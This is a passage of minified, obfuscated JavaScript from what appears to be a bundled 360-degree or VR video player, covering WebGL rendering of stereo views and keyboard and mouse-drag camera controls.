this[r[287]]?this[r[287]][r[423]]():{yaw:0,pitch:0,roll:0}},n[r[172]][r[424]]=function(n){return!!this[r[287]]&&(this[r[287]][r[424]](n),!0)},n[r[172]][r[425]]=function(n){return!!this[r[287]]&&(this[r[287]][r[425]](n),!0)},n[r[172]][r[426]]=function(){return this[r[287]]?this[r[287]][r[426]]():-1},n[r[172]][r[427]]=function(n){return!!this[r[287]]&&(this[r[287]][r[427]](n),!0)},n[r[172]][r[428]]=function(){return this[r[287]]?this[r[287]][r[428]]():-1},n[r[172]][r[429]]=function(n){return!!this[r[287]]&&(this[r[287]][r[429]](n),!0)},n[r[172]][r[430]]=function(){return this[r[287]]?this[r[287]][r[430]]():-1},n[r[172]][r[431]]=function(n){return!!this[r[287]]&&(this[r[287]][r[431]](n),!0)},n[r[172]][r[432]]=function(){return this[r[287]]?this[r[287]][r[432]]():-1},n[r[172]][r[433]]=function(n){return!!this[r[287]]&&this[r[287]][r[433]](n)},n[r[172]][r[434]]=function(){return this[r[287]]?this[r[287]][r[434]]():-1},n[r[172]][r[435]]=function(){var n,t;return null!==(t=null===(n=this[r[287]])||void 0===n?void 0:n[r[436]]())&&void 0!==t&&t},n[r[172]][r[437]]=function(){var n,t;return null!==(t=null===(n=this[r[287]])||void 0===n?void 0:n[r[438]]())&&void 0!==t?t:Promise[r[439]]()},n}();t[r[277]]=w},21971:function(n,t,i){var f,u,e;r[0];Object[r[2]](t,r[1],{value:!0});t[r[254]]=t[r[253]]=t[r[255]]=t[r[440]]=void 0;f=i(16368);u=i(29328);Object[r[2]](t,r[253],{enumerable:!0,get:function(){return u[r[253]]}});Object[r[2]](t,r[255],{enumerable:!0,get:function(){return u[r[255]]}});Object[r[2]](t,r[254],{enumerable:!0,get:function(){return u[r[254]]}});e=i(14912);t[r[440]]={name:f[r[442]][r[441]],module:{VRHandler:e[r[443]]},exports:{VRContentType:u[r[255]],TransitionTimingType:u[r[253]],VRState:u[r[254]]}};t[r[444]]=t[r[440]]},41205:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[389]]=void 0;var f=i(83549),o=i(62510),s=i(33696),e=i(29328),u=i(10755),h=i(78630),c=function(){function n(){this[r[445]]=[];this[r[446]]=[]}return n[r[172]][r[447]]=function(){return this[r[445]]},n[r[172]][r[448]]=function(){return this[r[446]]},n[r[172]][r[449]]=function(n,t){this[r[445]][r[167]](n)<0&&(this[r[445]][r[241]](n),this[r[445]][r[450]](function(n,t){return n-t}));this[r[446]][r[167]](t)<0&&(this[r[446]][r[241]](t),this[r[446]][r[450]](function(n,t){return n-t}))},n}(),l=function(){function n(n,t,i,f,e,s,l,a,v){var y=this;this[r[451]]=null;this[r[452]]=null;this[r[283]]=u[r[454]][r[453]];this[r[455]]=-1;this[r[456]]=!1;this[r[457]]=-1;this[r[458]]=-1;this[r[459]]=-1;this[r[460]]=-1;this[r[461]]=-1;this[r[462]]=[-1,-1,1,-1,1,1,-1,1];this[r[463]]=[0,1,2,0,2,3];this[r[464]]=-1;this[r[465]]=new RegExp(r[466],r[467]);this[r[468]]=!0;this[r[469]]=[0,0,0,0,0,0,0,0,0,0,0,0];this[r[470]]={LEFT:0,RIGHT:1};this[r[471]]=[0,0,0,0,0,0,0,0,0,0,0,0];this[r[472]]=1;this[r[473]]=[[1,1],[1,1]];this[r[474]]=[1,1];this[r[320]]=null;this[r[278]]=null;this[r[279]]=null;this[r[340]]=null;this[r[475]]=null;this[r[350]]=null;this[r[476]]=-1;this[r[477]]=-1;this[r[478]]=null;this[r[479]]=!1;this[r[354]]=null;a[r[284]]?(this[r[456]]=!0,this[r[455]]=2):(this[r[456]]=!1,this[r[455]]=1);this[r[300]]=i[r[300]];this[r[320]]=s;this[r[278]]=n;this[r[279]]=t;this[r[340]]=i[r[343]];this[r[475]]=e;this[r[350]]=i[r[353]][r[352]][r[351]];this[r[354]]=l;this[r[348]]=a;this[r[295]]=v;this[r[480]]=[];this[r[300]][r[390]](o[r[298]][r[481]],function(){return y[r[468]]=!1});f&&(this[r[471]]=this[r[482]](f),this[r[472]]=this[r[483]](f),this[r[473]][this[r[470]][r[484]]]=this[r[485]](f,this[r[470]][r[484]]),this[r[473]][this[r[470]][r[486]]]=this[r[485]](f,this[r[470]][r[486]]),this[r[474]]=this[r[487]](f));this[r[478]]=new c;this[r[488]]=new h[r[489]](1500,1e3);this[r[348]][r[490]]?(this[r[488]][r[491]](),this[r[488]][r[492]](this)):this[r[488]][r[493]]();try{this[r[494]]();this[r[495]]();this[r[496]]();this[r[497]]();this[r[498]]();this[r[499]]();this[r[500]]();this[r[501]]()}catch(n){this[r[320]][r[267]](n)}}return n[r[172]][r[502]]=function(n){var t,i;if(void 0===n&&(n=[]),null!==this[r[451]]){if(t=this[r[451]][r[503]](),t===u[r[454]][r[453]])return this[r[283]]=u[r[454]][r[453]],void(this[r[480]]=[]);if(this[r[480]][r[241]](t),n[r[167]](t)>-1&&this[r[468]])throw this[r[283]]=u[r[454]][r[453]],this[r[480]]=[],r[504];if(!(this[r[480]][r[5]]>=this[r[354]][r[505]]))return;this[r[283]]=this[r[480]][this[r[480]][r[5]]-1]}i=r[506];throw u[r[507]][this[r[283]]]&&(i=u[r[507]][this[r[283]]]),this[r[475]](i),i;},n[r[172]][r[508]]=function(n,t){for(var f,u=[],i=2;i<arguments[r[5]];i++)u[i-2]=arguments[i];if(f=null,n&&r[509]==typeof n[t]){try{f=n[t][r[237]](n,u)}catch(n){this[r[320]][r[513]](r[510]+t+r[511]+JSON[r[155]](u)+r[512]+n)}this[r[502]]()}return f},n[r[172]][r[514]]=function(n){throw this[r[283]]=u[r[454]][r[515]],this[r[475]](n),n;},n[r[172]][r[495]]=function(){this[r[516]]=i(10768);this[r[517]]=i(50766);var n=this[r[508]](this[r[451]],r[518],this[r[451]][r[519]],this[r[451]][r[520]]);0!==n[r[521]]&&0!==n[r[522]]&&0!==n[r[523]]&&(this[r[516]]=this[r[516]][r[525]](this[r[465]],r[524]));0!==(n=this[r[508]](this[r[451]],r[518],this[r[451]][r[526]],this[r[451]][r[520]]))[r[521]]&&0!==n[r[522]]&&0!==n[r[523]]&&(this[r[517]]=this[r[517]][r[525]](this[r[465]],r[524]))},n[r[172]][r[494]]=function(){this[r[279]]&&(this[r[452]]=this[r[279]][r[528]](r[527]));var n={failIfMajorPerformanceCaveat:!0};this[r[451]]=this[r[278]][r[528]](r[529],n)||this[r[278]][r[528]](r[530],n);this[r[502]]();this[r[508]](this[r[451]],r[531],.5,.5,.5,1);this[r[508]](this[r[451]],r[532],1);this[r[508]](this[r[451]],r[493],this[r[451]][r[533]])},n[r[172]][r[496]]=function(){this[r[457]]=this[r[508]](this[r[451]],r[534],this[r[451]][r[526]]);this[r[508]](this[r[451]],r[535],this[r[457]],this[r[517]]);this[r[508]](this[r[451]],r[536],this[r[457]]);this[r[508]](this[r[451]],r[537],this[r[457]],this[r[451]][r[538]])||this[r[514]](r[539]+this[r[508]](this[r[451]],r[540],this[r[457]])+r[541]);this[r[458]]=this[r[508]](this[r[451]],r[534],this[r[451]][r[519]]);this[r[508]](this[r[451]],r[535],this[r[458]],this[r[516]]);this[r[508]](this[r[451]],r[536],this[r[458]]);this[r[508]](this[r[451]],r[537],this[r[458]],this[r[451]][r[538]])||this[r[514]](r[542]+this[r[508]](this[r[451]],r[540],this[r[458]])+r[541])},n[r[172]][r[497]]=function(){this[r[459]]=this[r[508]](this[r[451]],r[497]);this[r[508]](this[r[451]],r[543],this[r[459]],this[r[457]]);this[r[508]](this[r[451]],r[543],this[r[459]],this[r[458]]);this[r[508]](this[r[451]],r[544],this[r[459]]);this[r[508]](this[r[451]],r[545],this[r[459]],this[r[451]][r[546]])||this[r[514]](r[547]+this[r[508]](this[r[451]],r[548],this[r[459]]));this[r[508]](this[r[451]],r[549],this[r[459]])},n[r[172]][r[498]]=function(){this[r[550]]=new u[r[551]](this[r[451]],this[r[459]],r[550],null)},n[r[172]][r[499]]=function(){this[r[552]]=new u[r[555]](this[r[451]],this[r[459]],r[552],u[r[554]][r[553]]);this[r[556]]=new u[r[555]](this[r[451]],this[r[459]],r[556],u[r[554]][r[553]]);this[r[557]]=new u[r[555]](this[r[451]],this[r[459]],r[557],u[r[554]][r[553]]);this[r[558]]=new u[r[555]](this[r[451]],this[r[459]],r[558],u[r[554]][r[559]]);this[r[397]]=new u[r[555]](this[r[451]],this[r[459]],r[397],u[r[554]][r[559]]);this[r[398]]=new u[r[555]](this[r[451]],this[r[459]],r[398],u[r[554]][r[559]]);this[r[560]]=new u[r[555]](this[r[451]],this[r[459]],r[560],u[r[554]][r[561]]);this[r[562]]=new u[r[555]](this[r[451]],this[r[459]],r[562],u[r[554]][r[563]]);this[r[564]]=new u[r[555]](this[r[451]],this[r[459]],r[564],u[r[554]][r[559]]);this[r[565]]=new u[r[555]](this[r[451]],this[r[459]],r[565],u[r[554]][r[566]]);this[r[567]]=new u[r[555]](this[r[451]],this[r[459]],r[567],u[r[554]][r[566]])},n[r[172]][r[500]]=function(){this[r[460]]=this[r[508]](this[r[451]],r[568]);this[r[508]](this[r[451]],r[569],this[r[451]][r[570]],this[r[460]]);this[r[508]](this[r[451]],r[571],this[r[451]][r[570]],new Float32Array(this[r[462]]),this[r[451]][r[572]]);this[r[461]]=this[r[508]](this[r[451]],r[568]);this[r[508]](this[r[451]],r[569],this[r[451]][r[573]],this[r[461]]);this[r[508]](this[r[451]],r[571],this[r[451]][r[573]],new Uint16Array(this[r[463]]),this[r[451]][r[572]])},n[r[172]][r[501]]=function(){this[r[464]]=this[r[508]](this[r[451]],r[501]);this[r[508]](this[r[451]],r[574],this[r[451]][r[575]],this[r[464]]);this[r[508]](this[r[451]],r[576],this[r[451]][r[575]],this[r[451]][r[577]],this[r[451]][r[578]]);this[r[508]](this[r[451]],r[576],this[r[451]][r[575]],this[r[451]][r[579]],this[r[451]][r[578]]);this[r[508]](this[r[451]],r[576],this[r[451]][r[575]],this[r[451]][r[580]],this[r[451]][r[581]]);this[r[508]](this[r[451]],r[576],this[r[451]][r[575]],this[r[451]][r[582]],this[r[451]][r[581]])},n[r[172]][r[583]]=function(n,t){var i,u,o=this[r[508]](this[r[452]],r[584],0,0,n,t),f;if(!o)return this[r[320]][r[156]](r[585]),void(this[r[479]]=!1);for(var s=this[r[478]][r[447]](),h=this[r[478]][r[448]](),e=0;e<s[r[5]]&&o[r[586]][4*(s[e]-1)+3]>0;e++)i=Math[r[147]](s[e],n);for(f=0;f<h[r[5]]&&o[r[586]][(h[f]-1)*this[r[340]][r[397]]*4+3]>0;f++)u=Math[r[147]](h[f],t);i&&u&&(i!==n||u!==t)?(this[r[320]][r[156]](r[587]+n+r[588]+t+r[589]+i+r[588]+u+r[590]),this[r[508]](this[r[452]],r[591],this[r[279]],0,0,i,u,0,0,this[r[279]][r[134]],this[r[279]][r[136]])):this[r[479]]=!1},n[r[172]][r[592]]=function(){var n,t,i,e,o,h,f;if(!this[r[283]]||this[r[283]]===u[r[454]][r[453]]){n=this[r[340]][r[397]];t=this[r[340]][r[398]];this[r[279]]&&this[r[452]]&&(i=0,this[r[350]]!==s[r[407]][r[593]]&&/Trident/[r[143]](navigator[r[149]])&&(i=.0555555*t),e=t-2*i,this[r[508]](this[r[452]],r[591],this[r[340]][r[594]](),0,i,n,e,0,0,this[r[279]][r[134]],this[r[279]][r[136]]),this[r[478]][r[449]](n,t),o=this[r[476]]!==n,h=this[r[477]]!==t,(o||h)&&!/Trident/[r[143]](navigator[r[149]])&&(this[r[479]]=!0),this[r[479]]&&this[r[583]](n,t),this[r[476]]=n,this[r[477]]=t);this[r[508]](this[r[451]],r[595],this[r[451]][r[596]]);this[r[508]](this[r[451]],r[574],this[r[451]][r[575]],this[r[464]]);try{f=null!==this[r[295]][r[597]]?this[r[295]][r[597]]():null;null!==f?this[r[508]](this[r[451]],r[598],this[r[451]][r[575]],0,this[r[451]][r[599]],this[r[451]][r[599]],this[r[451]][r[600]],f):this[r[279]]?this[r[508]](this[r[451]],r[598],this[r[451]][r[575]],0,this[r[451]][r[599]],this[r[451]][r[599]],this[r[451]][r[600]],this[r[279]]):this[r[508]](this[r[451]],r[598],this[r[451]][r[575]],0,this[r[451]][r[599]],this[r[451]][r[599]],this[r[451]][r[600]],this[r[340]][r[594]]())}catch(n){this[r[514]](n[r[601]])}}},n[r[172]][r[602]]=function(n,t,i){this[r[320]][r[156]](r[603]+n[r[604]](2)+r[605]+(100*i)[r[604]](2)+r[606]+(100*t)[r[604]](2)+r[607])},n[r[172]][r[608]]=function(n,t){if(!this[r[283]]||this[r[283]]===u[r[454]][r[453]]){switch(this[r[508]](this[r[451]],r[549],this[r[459]]),this[r[508]](this[r[451]],r[569],this[r[451]][r[570]],this[r[460]]),this[r[508]](this[r[451]],r[611],this[r[550]][r[612]],2,this[r[451]][r[613]],!1,0,0),this[r[508]](this[r[451]],r[595],this[r[451]][r[596]]),this[r[508]](this[r[451]],r[574],this[r[451]][r[575]],this[r[464]]),this[r[552]][r[609]](n),this[r[556]][r[609]](0),this[r[558]][r[609]](this[r[348]][r[558]]),isFinite(this[r[340]][r[397]])&&this[r[340]][r[397]]>0&&isFinite(this[r[340]][r[398]])&&this[r[340]][r[398]]>0?(this[r[397]][r[609]](this[r[340]][r[397]]),this[r[398]][r[609]](this[r[340]][r[398]])):(this[r[397]][r[609]](4096),this[r[398]][r[609]](2048)),this[r[348]][r[557]]){case e[r[255]][r[256]]:this[r[557]][r[609]](0);break;case e[r[255]][r[260]]:this[r[557]][r[609]](1);break;case e[r[255]][r[258]]:this[r[557]][r[609]](2);break;default:this[r[514]](r[610]+this[r[348]][r[557]]+r[541])}this[r[562]][r[609]](this[r[471]]);this[r[564]][r[609]](this[r[472]]);this[r[565]][r[609]](this[r[473]][n]);this[r[567]][r[609]](this[r[474]]);this[r[560]][r[609]](t);this[r[508]](this[r[451]],r[614],this[r[278]][r[134]]/2*n,0,this[r[278]][r[134]]/this[r[455]],this[r[278]][r[136]]);this[r[508]](this[r[451]],r[569],this[r[451]][r[573]],this[r[461]]);this[r[508]](this[r[451]],r[615],this[r[451]][r[616]],6,this[r[451]][r[617]],0)}},n[r[172]][r[482]]=function(n){return n?n[r[169]][r[50]]:this[r[469]]},n[r[172]][r[483]]=function(n){var t=this[r[618]](n),i=f[r[178]][r[210]](Math[r[181]](f[r[178]][r[180]](Math[r[145]](t[r[188]],t[r[189]]))),Math[r[181]](f[r[178]][r[180]](Math[r[145]](t[r[190]],t[r[191]]))));return i*i},n[r[172]][r[618]]=function(n,t){var i=t||this[r[470]][r[484]];return i===this[r[470]][r[484]]?n[r[185]](!0):i===this[r[470]][r[486]]?n[r[187]](!0):null},n[r[172]][r[485]]=function(n,t){var i=this[r[618]](n,t);return[Math[r[181]](f[r[178]][r[180]](i[r[188]])),Math[r[181]](f[r[178]][r[180]](i[r[190]]))]},n[r[172]][r[487]]=function(n){var t=this[r[618]](n);return[Math[r[181]](f[r[178]][r[180]](t[r[188]]))+Math[r[181]](f[r[178]][r[180]](t[r[189]])),Math[r[181]](f[r[178]][r[180]](t[r[191]]))+Math[r[181]](f[r[178]][r[180]](t[r[190]]))]},n[r[172]][r[399]]=function(){var n=0;return this[r[283]]===u[r[454]][r[453]]&&(n=(n=(n=(n=(n=n||this[r[451]][r[619]])||this[r[451]][r[620]])||this[r[451]][r[621]])||this[r[451]][r[622]])||this[r[451]][r[623]]),n||1},n[r[172]][r[418]]=function(){this[r[456]]=!0;this[r[455]]=2},n[r[172]][r[419]]=function(){this[r[456]]=!1;this[r[455]]=1},n[r[172]][r[307]]=function(n,t){if((!this[r[283]]||this[r[283]]===u[r[454]][r[453]])&&this[r[451]]&&this[r[340]][r[594]]()){this[r[488]][r[624]]();this[r[488]][r[625]]();this[r[488]][r[626]]();try{this[r[488]][r[627]]();t&&this[r[592]]();this[r[488]][r[628]]();this[r[608]](this[r[470]][r[484]],n);this[r[456]]&&this[r[608]](this[r[470]][r[486]],n);null!==this[r[295]][r[629]]&&this[r[295]][r[629]](this[r[451]]);this[r[502]]([u[r[454]][r[630]]])}catch(n){this[r[320]][r[513]](r[631]+n)}this[r[488]][r[632]]()}},n[r[172]][r[335]]=function(){this[r[488]][r[633]](this);this[r[488]][r[335]]();this[r[488]]=null;this[r[478]]=null;this[r[451]]=null;this[r[278]]=null;this[r[452]]=null;this[r[279]]=null},n}();t[r[389]]=l},14912:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[443]]=void 0;var f=i(27523),e=i(79248),u=new window[r[634]],o=function(){function n(n,t,i,o,s,h,c){var l=e[r[636]][r[635]](i),a=l[0],v=l[1],y=new f[r[277]](n,t,a,o,s,h,c,v);u[r[637]](this,y)}return n[r[172]][r[638]]=function(){return u[r[639]](this)&&r[267]!==u[r[640]](this)[r[421]]()},n[r[172]][r[417]]=function(n){var t=r[36]==typeof n;return!(!this[r[638]]()||!t)&&u[r[640]](this)[r[417]](n)},n[r[172]][r[321]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[321]]()},n[r[172]][r[322]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[322]]()},n[r[172]][r[323]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[323]]()},n[r[172]][r[324]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[324]]()},n[r[172]][r[325]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[325]]()},n[r[172]][r[326]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[326]]()},n[r[172]][r[327]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[327]]()},n[r[172]][r[328]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[328]]()},n[r[172]][r[329]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[329]]()},n[r[172]][r[420]]=function(){return!!this[r[638]]()&&u[r[640]](this)[r[420]]()},n[r[172]][r[421]]=function(){return u[r[639]](this)?u[r[640]](this)[r[421]]():null},n[r[172]][r[422]]=function(){return u[r[639]](this)?u[r[640]](this)[r[422]]():null},n[r[172]][r[423]]=function(){return this[r[638]]()?u[r[640]](this)[r[423]]():{yaw:0,pitch:0,roll:0}},n[r[172]][r[330]]=function(n){var t=n&&isFinite(n[r[641]])&&isFinite(n[r[642]])&&isFinite(n[r[643]]);return!(!this[r[638]]()||!t)&&u[r[640]](this)[r[330]](n)},n[r[172]][r[424]]=function(n){var t=isFinite(n[r[588]])&&isFinite(n[r[644]])&&isFinite(n[r[645]]);return!(!this[r[638]]()||!t)&&u[r[640]](this)[r[424]](n)},n[r[172]][r[425]]=function(n){var t=isFinite(n);return!(!this[r[638]]()||!t)&&u[r[640]](this)[r[425]](n)},n[r[172]][r[426]]=function(){return this[r[638]]()?u[r[640]](this)[r[426]]():-1},n[r[172]][r[427]]=function(n){var t=isFinite(n);return!(!this[r[638]]()||!t)&&u[r[640]](this)[r[427]](n)},n[r[172]][r[428]]=function(){return this[r[638]]()?u[r[640]](this)[r[428]]():-1},n[r[172]][r[429]]=function(n){return!!this[r[638]]()&&u[r[640]](this)[r[429]](n)},n[r[172]][r[430]]=function(){return this[r[638]]()?u[r[640]](this)[r[430]]():-1},n[r[172]][r[431]]=function(n){return!!this[r[638]]()&&u[r[640]](this)[r[431]](n)},n[r[172]][r[432]]=function(){return this[r[638]]()?u[r[640]](this)[r[432]]():-1},n[r[172]][r[433]]=function(n){return!!this[r[638]]()&&u[r[640]](this)[r[433]](n)},n[r[172]][r[434]]=function(){return this[r[638]]()?u[r[640]](this)[r[434]]():-1},n[r[172]][r[435]]=function(){var n,t;return this[r[638]]()&&null!==(t=null===(n=u[r[640]](this))||void 0===n?void 0:n[r[435]]())&&void 0!==t&&t},n[r[172]][r[437]]=function(){var n,t;return this[r[638]]()&&null!==(t=null===(n=u[r[640]](this))||void 0===n?void 0:n[r[437]]())&&void 0!==t?t:Promise[r[439]]()},n}();t[r[443]]=o},46446:function(n,t,i){var f,u,e;r[0];f=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[653]]=void 0;u=i(34081);e=function(n){function t(t,i,f){var e=n[r[649]](this,t,i)||this;return e[r[425]](f),e[r[655]]=new u[r[656]],e[r[657]]=new u[r[656]],e[r[658]]=0,e}return f(t,n),t[r[172]][r[659]]=function(n){return this[r[658]]+=n,this[r[658]]>this[r[660]]?this[r[657]][r[301]](0,0,0,!1,n):(u[r[656]][r[661]](this[r[655]],this[r[657]]),this[r[657]][r[5]]=this[r[655]][r[5]]*n,this[r[657]][r[645]]=this[r[655]][r[645]]*n,this[r[657]][r[301]](this[r[657]][r[588]],this[r[657]][r[644]],this[r[657]][r[645]],!0,n)),this[r[657]]},t[r[172]][r[662]]=function(n){this[r[655]][r[663]](n,!0);this[r[658]]=0},t[r[172]][r[425]]=function(n){this[r[660]]=n},t[r[172]][r[664]]=function(){this[r[493]]()},t}(i(68978)[r[654]]);t[r[653]]=e},68978:function(n,t){r[0];Object[r[2]](t,r[1],{value:!0});t[r[654]]=void 0;var i=function(){function n(n,t){this[r[348]]=n;this[r[295]]=t}return n[r[172]][r[491]]=function(){this[r[665]]=!0},n[r[172]][r[493]]=function(){this[r[665]]=!1},n[r[172]][r[666]]=function(){return this[r[665]]},n}();t[r[654]]=i},86741:function(n,t,i){var f;r[0];f=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[667]]=void 0;var e=i(34081),o=i(68978),u=function(){function n(n){this[r[668]](n);this[r[669]]=!1}return n[r[172]][r[670]]=function(n){return this[r[672]][r[671]](function(t){return!t[r[671]](function(t){return n[r[167]](t)<0})})?(this[r[669]]=!0,!0):(this[r[669]]=!1,!1)},n[r[172]][r[673]]=function(){return this[r[669]]},n[r[172]][r[668]]=function(n){for(var i,u=[],t=0,f=n;t<f[r[5]];t++)i=f[t][r[676]](r[675])[r[674]](function(n){return n[r[5]]>0}),i[r[5]]>0&&u[r[241]](i);this[r[672]]=u},n}(),s=function(n){function t(t,i){var f=n[r[649]](this,t,i)||this;return f[r[677]]=function(n){if(n&&r[23]==typeof n[r[678]]){var i=n[r[678]][r[525]](r[675],r[679]),t=f[r[680]][r[167]](i);t>=0&&r[681]===n[r[152]]?f[r[680]][r[682]](t,1):t<0&&r[683]===n[r[152]]&&f[r[680]][r[241]](i);f[r[684]][r[670]](f[r[680]]);f[r[685]][r[670]](f[r[680]]);f[r[686]][r[670]](f[r[680]]);f[r[687]][r[670]](f[r[680]]);f[r[688]][r[670]](f[r[680]]);f[r[689]][r[670]](f[r[680]])}},f[r[690]]=f[r[348]][r[691]],f[r[684]]=new u([r[692]]),f[r[685]]=new u([r[693]]),f[r[686]]=new u([r[694]]),f[r[687]]=new u([r[695]]),f[r[688]]=new u([r[696]]),f[r[689]]=new u([r[697]]),f[r[680]]=[],f[r[698]]=new e[r[656]],f[r[700]](f[r[348]][r[699]]),f[r[491]](),f}return f(t,n),t[r[172]][r[659]]=function(n){var f;if(this[r[665]]){var t=0,i=0,u=0;this[r[295]][r[701]]?(i+=this[r[295]][r[701]](r[684])?this[r[690]]*n:0,i-=this[r[295]][r[701]](r[685])?this[r[690]]*n:0,t+=this[r[295]][r[701]](r[686])?this[r[690]]*n:0,t-=this[r[295]][r[701]](r[687])?this[r[690]]*n:0,u-=this[r[295]][r[701]](r[688])?this[r[690]]*n:0,u+=this[r[295]][r[701]](r[689])?this[r[690]]*n:0):(i+=this[r[684]][r[673]]()?this[r[690]]*n:0,i-=this[r[685]][r[673]]()?this[r[690]]*n:0,t+=this[r[686]][r[673]]()?this[r[690]]*n:0,t-=this[r[687]][r[673]]()?this[r[690]]*n:0,u-=this[r[688]][r[673]]()?this[r[690]]*n:0,u+=this[r[689]][r[673]]()?this[r[690]]*n:0);f=0!==t||0!==i||0!==u;this[r[698]][r[301]](t,i,u,f,n)}else this[r[698]][r[301]](0,0,0,!1,n);return this[r[698]]},t[r[172]][r[491]]=function(){this[r[665]]=!0;document[r[334]](r[683],this[r[677]],!1);document[r[334]](r[681],this[r[677]],!1)},t[r[172]][r[493]]=function(){this[r[665]]=!1;document[r[310]](r[683],this[r[677]],!1);document[r[310]](r[681],this[r[677]],!1)},t[r[172]][r[664]]=function(){this[r[493]]()},t[r[172]][r[700]]=function(n){n[r[248]](r[684])&&this[r[684]][r[668]](n[r[684]]);n[r[248]](r[685])&&this[r[685]][r[668]](n[r[685]]);n[r[248]](r[686])&&this[r[686]][r[668]](n[r[686]]);n[r[248]](r[687])&&this[r[687]][r[668]](n[r[687]]);n[r[248]](r[688])&&this[r[688]][r[668]](n[r[688]]);n[r[248]](r[689])&&this[r[689]][r[668]](n[r[689]])},t}(o[r[654]]);t[r[667]]=s},41775:function(n,t,i){var f;r[0];f=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[702]]=void 0;var e=i(34081),u=i(12553),o=function(n){function t(i,f,o,s,h){void 0===h&&(h=90);var c=n[r[649]](this,i,f)||this;return c[r[703]]=function(n){var i=t[r[704]](n),u=0,f=0;c[r[705]]&&(u=i[r[588]]-c[r[706]][r[588]],f=i[r[644]]-c[r[706]][r[644]],c[r[707]][r[588]]+=u,c[r[707]][r[644]]+=f,c[r[706]]=i);Math[r[202]](u)+Math[r[202]](f)>0&&(c[r[708]]=!0);n[r[709]]()},c[r[710]]=function(n){n[r[711]]();n[r[709]]();u[r[713]][r[310]](document,[r[712]],c[r[710]],!0)},c[r[714]]=function(n){u[r[713]][r[310]](document,u[r[713]][r[716]][r[715]],c[r[703]],!1);u[r[713]][r[310]](document,u[r[713]][r[716]][r[684]],c[r[714]],!1);u[r[713]][r[310]](c[r[345]],u[r[713]][r[716]][r[684]],c[r[714]],!1);u[r[713]][r[719]](document[r[717]],r[718]);c[r[706]]=null;c[r[705]]=!1;c[r[708]]&&c[r[720]]&&n[r[721]]===c[r[720]]&&u[r[713]][r[334]](document,[r[712]],c[r[710]],!0);c[r[708]]=!1;c[r[720]]=null},c[r[722]]=function(n){c[r[706]]=t[r[704]](n);c[r[707]]={x:0,y:0};c[r[705]]=!0;c[r[708]]=!1;c[r[720]]=n[r[721]];u[r[713]][r[334]](document,u[r[713]][r[716]][r[715]],c[r[703]],!1);u[r[713]][r[334]](document,u[r[713]][r[716]][r[684]],c[r[714]],!1);u[r[713]][r[334]](c[r[345]],u[r[713]][r[716]][r[684]],c[r[714]],!1);u[r[713]][r[723]](document[r[717]],r[718])},c[r[345]]=o,c[r[278]]=s,c[r[705]]=!1,c[r[706]]=null,c[r[707]]={x:0,y:0},c[r[724]]=h,c[r[698]]=new e[r[656]],c[r[491]](),c}return f(t,n),t[r[172]][r[659]]=function(n){var u=this[r[278]][r[393]],f=this[r[278]][r[394]],e=Boolean(this[r[295]][r[725]]),t=this[r[724]]*(f/u),i;return(this[r[707]]=e?this[r[295]][r[725]](n):this[r[707]],this[r[665]]&&isFinite(t)&&t>0)?(i=this[r[705]]||0!==this[r[707]][r[588]]||0!==this[r[707]][r[644]],this[r[698]][r[301]](this[r[707]][r[588]]/this[r[278]][r[393]]*this[r[724]],this[r[707]][r[644]]/this[r[278]][r[394]]*t,0,i,n),this[r[707]]={x:0,y:0}):this[r[698]][r[301]](0,0,0,this[r[705]],n),this[r[698]]},t[r[172]][r[491]]=function(){this[r[665]]=!0;u[r[713]][r[334]](this[r[345]],u[r[713]][r[716]][r[685]],this[r[722]],!1)},t[r[172]][r[493]]=function(){this[r[665]]=!1;u[r[713]][r[310]](document,u[r[713]][r[716]][r[715]],this[r[703]],!1);u[r[713]][r[310]](document,u[r[713]][r[716]][r[684]],this[r[714]],!1);u[r[713]][r[310]](this[r[345]],u[r[713]][r[716]][r[684]],this[r[714]],!1);u[r[713]][r[310]](this[r[345]],u[r[713]][r[716]][r[685]],this[r[722]],!1);u[r[713]][r[310]](document,[r[712]],this[r[710]],!0);this[r[706]]=null;this[r[705]]=!1;this[r[708]]=!1;this[r[720]]=null;u[r[713]][r[719]](document[r[717]],r[718])},t[r[172]][r[664]]=function(){this[r[493]]();this[r[345]]=null;this[r[278]]=null},t[r[704]]=function(n){var t={x:0,y:0};return 